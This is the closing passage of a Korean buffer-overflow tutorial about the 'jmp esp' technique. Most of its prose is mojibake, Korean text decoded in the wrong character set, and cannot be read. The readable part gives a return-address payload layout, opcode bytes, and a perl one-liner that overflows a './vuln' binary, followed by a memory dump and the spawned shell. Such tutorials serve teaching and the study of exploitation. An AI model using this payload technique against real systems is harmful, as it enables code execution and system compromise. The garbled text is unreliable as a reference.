°ÍÀÌ´Ù.. ½±ÁÒ? ¤¾¤¾ ±×·³ °¡»óÀÇ °ø°ÝÄÚµå´Â.. [buf] [sfp] [ret] [nop + leave + jmp esp] [egg addr] [buf addr] leave : c9 jmp esp : ff e4 ±×·³ °ø°Ý ¹Ù·Î µé¾î°©´Ï´Ù~ [prosager@work question]$ ./vuln `perl -e 'print "\x90\xc9\xff\xe4\x01\xfc\xff\xbf\xd4\xee\xff\xbf"'` 0xbfffeed4 90 c9 ff e4 01 fc ff bf d4 ee ff bf 00 00 00 00 ................ 0xbfffeee4 24 ef ff bf 30 ef ff bf 2c 58 01 40 02 00 00 00 $...0...,X.@.... 0xbfffeef4 e4 82 04 08 00 00 00 00 05 83 04 08 92 85 04 08 ................ 0xbfffef04 02 00 00 00 24 ef ff bf cc 85 04 08 fc 85 04 08 ....$........... sh-2.05b$ ¿ÀÄÉ~ À§¿Í °°ÀÌ ¾Õ¿¡ c9 °¡ µé¾î°¡¸é¼­ jmp esp ·Î ÀÎÇؼ­ jmp~ ÇÏ¿´´Ù À̷μ­ jmp esp, jmp ebp ¿¡ ´ëÇÑ ¼³¸íÀÌ ³¡³ª°Ô µÇ¾ú½À´Ï´Ù^^ ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ ¦¬¦¸¦¬¦¬¦¬¦¬¦¬¦¬¦¸¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¢0x05. ¸¶Ä¡¸ç¦¢ ¦¦¦¡¦¡¦¡¦¡¦¡¦¡¦¥ ¿äÁò¿¡´Â ¿ö°ÔÀÓ ºñ½ÁÇÑ Á¾·ùÀÇ »õ·Î¿î ±â¼úÀ» ÀÍÈ÷´Â°Í¿¡ ÁßÁ¡º¸´Ù´Â coun °°Àº ÀÏÁ¾ÀÇ »ý°¢À» ¹Ù²Ù°í, ¾à°£Àº ´Ù¸¥ ¹ß»óÀ» Çϸç, Àç¹Õ´Â ÀÏÀ̳ª ¹¹ ÀÌ·± Á¾·ùÀÇ »ç°í¿¡ Àç¹Ì¸¦ ºÙÀÌ°í Àֳ׿ä, ±×·¡¼­ ±×·±Áö Á¶±ÝÀº ±â¼úÀûÀÎ ¹®¼­´Â ¾²±â°¡ ¾î·ÆÁö¸¸, ¼³¸íÀ̳ª, ±ÛÀ» ½á ³ª°¡´Â µ¥ À־´Â Á¶±ÝÀº ÆíÇÏ´Ù´Â ´À³¦ÀÌ µì´Ï´Ù.^^, ¾ðÁ¨°¡´Â °æ¿µ¿¡ ´ëÇÑ ±ÛµéÀ» wgd ¿¡ ½ÇÀ»Áöµµ-_- ¸ð¸¥´Ù´Â ¾Ð¹ÚÀÌ ´À²¸Áö³×¿ä..^^ ÀÌ ¹®¼­¸¦ ÅëÇؼ­ ±âº»ÀûÀÎ ±â¹ý¿¡ ÀÌ·¯ÇÑ °ÍµéÀÌ ÀÖ´Ù´Â °ÍÀ» ¾Ë¾ÒÀ¸¸é ÇÕ´Ï´Ù ±×·³..¼ö°íÇϼ̽À´Ï´Ù.^^ ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ